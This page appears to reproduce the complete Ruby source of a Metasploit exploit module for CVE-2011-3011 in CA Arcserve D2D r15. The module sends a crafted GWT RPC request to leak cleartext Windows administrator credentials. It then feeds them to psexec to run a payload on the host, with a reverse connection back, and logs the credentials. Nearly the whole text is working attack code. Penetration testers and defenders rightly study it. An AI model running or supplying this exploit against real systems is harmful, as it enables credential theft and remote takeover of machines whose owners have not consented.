Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Auxiliary::Report1011def initialize(info = {})12super(update_info(info,13'Name' => 'CA Arcserve D2D GWT RPC Credential Information Disclosure',14'Description' => %q{15This module exploits an information disclosure vulnerability in the CA Arcserve16D2D r15 web server. The information disclosure can be triggered by sending a17specially crafted RPC request to the homepage servlet. This causes CA Arcserve to18disclosure the username and password in cleartext used for authentication. This19username and password pair are Windows credentials with Administrator access.20},21'Author' =>22[23'bannedit', # metasploit module24'rgod', # original public exploit25],26'License' => MSF_LICENSE,27'References' =>28[29[ 'CVE', '2011-3011' ],30[ 'OSVDB', '74162' ],31[ 'EDB', '17574' ]32],33'DefaultOptions' =>34{35'EXITFUNC' => 'process'36},37'Privileged' => true,38'Payload' =>39{40'Space' => 1000,41'BadChars' => "\x00\x0d\x0a"42},43'Platform' => 'win',44'Targets' =>45[46[ 'Automatic', { } ],47],48'DisclosureDate' => '2011-07-25',49'DefaultTarget' => 0))505152register_options(53[54Opt::RPORT(8014),55])56end5758def service_details59super.merge({60port: 445,61service_name: 'smb',62post_reference_name: self.refname,63last_attempted_at: DateTime.now64})65end6667def exploit68print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")6970data = "5|0|4|"71data << "http://#{datastore['RHOST']}:#{datastore['RPORT']}"72data << "/contents/"73data << "|2C6B33BED38F825C48AE73C093241510|"74data << "com.ca.arcflash.ui.client.homepage.HomepageService"75data << "|getLocalHost|1|2|3|4|0|"7677cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"7879res = send_request_raw({80'uri' => '/contents/service/homepage',81'version' => '1.1',82'method' => 'POST',83'cookie' => cookie,84'data' => data,85'headers' =>86{87'Content-Type' => "text/x-gwt-rpc; charset=utf-8",88'Content-Length' => data.length89}90}, 5)9192if not res93fail_with(Failure::NotFound, 'The server did not respond to our request')94end9596resp = res.to_s.split(',')9798user_index = resp.index("\"user\"")99pass_index = resp.index("\"password\"")100101if user_index.nil? and pass_index.nil?102# Not a vulnerable server (blank user/pass doesn't help us)103fail_with(Failure::NotFound, 'The server did not return credentials')104end105106user = resp[user_index+1].gsub(/\"/, "")107pass = ""108109if pass_index110pass = resp[pass_index+1].gsub(/\"/, "")111end112113srvc = {114:host => datastore['RHOST'],115:port => datastore['RPORT'],116:proto => 'tcp',117:name => 'http',118:info => res.headers['Server'] || ""119}120report_service(srvc)121if user.nil? or pass.nil?122print_error("Failed to collect the username and password")123return124end125126print_good("Collected credentials User: '#{user}' Password: '#{pass}'")127128# try psexec on the remote host129psexec = framework.exploits.create("windows/smb/psexec")130psexec.register_parent(self)131132psexec.datastore['PAYLOAD'] = self.datastore['PAYLOAD']133134if self.datastore['LHOST'] and self.datastore['LPORT']135psexec.datastore['LHOST'] = self.datastore['LHOST']136psexec.datastore['LPORT'] = self.datastore['LPORT']137end138139psexec.datastore['RHOST'] = self.datastore['RHOST']140141psexec.datastore['DisablePayloadHandler'] = true142psexec.datastore['SMBPass'] = pass143psexec.datastore['SMBUser'] = user144145print_status("Attempting to login via windows/smb/psexec")146147# this is kind of nasty would be better to split psexec code out to a mixin (on the TODO List)148begin149psexec.exploit_simple(150'LocalInput' => self.user_input,151'LocalOutput' => self.user_output,152'Payload' => psexec.datastore['PAYLOAD'],153'RunAsJob' => true154)155rescue156credential_data = {157user: user,158private_data: pass,159status: Metasploit::Model::Login::Status::INCORRECT160}.merge(service_details)161create_credential_and_login(credential_data)162163print_error("Login attempt using windows/smb/psexec failed")164print_status("Credentials have been stored and may be useful for authentication against other services.")165# report the auth166return167end168169# report the auth170credential_data = {171user: user,172private_data: pass,173status: Metasploit::Model::Login::Status::SUCCESSFUL174}.merge(service_details)175create_credential_and_login(credential_data)176177handler178end179end180181182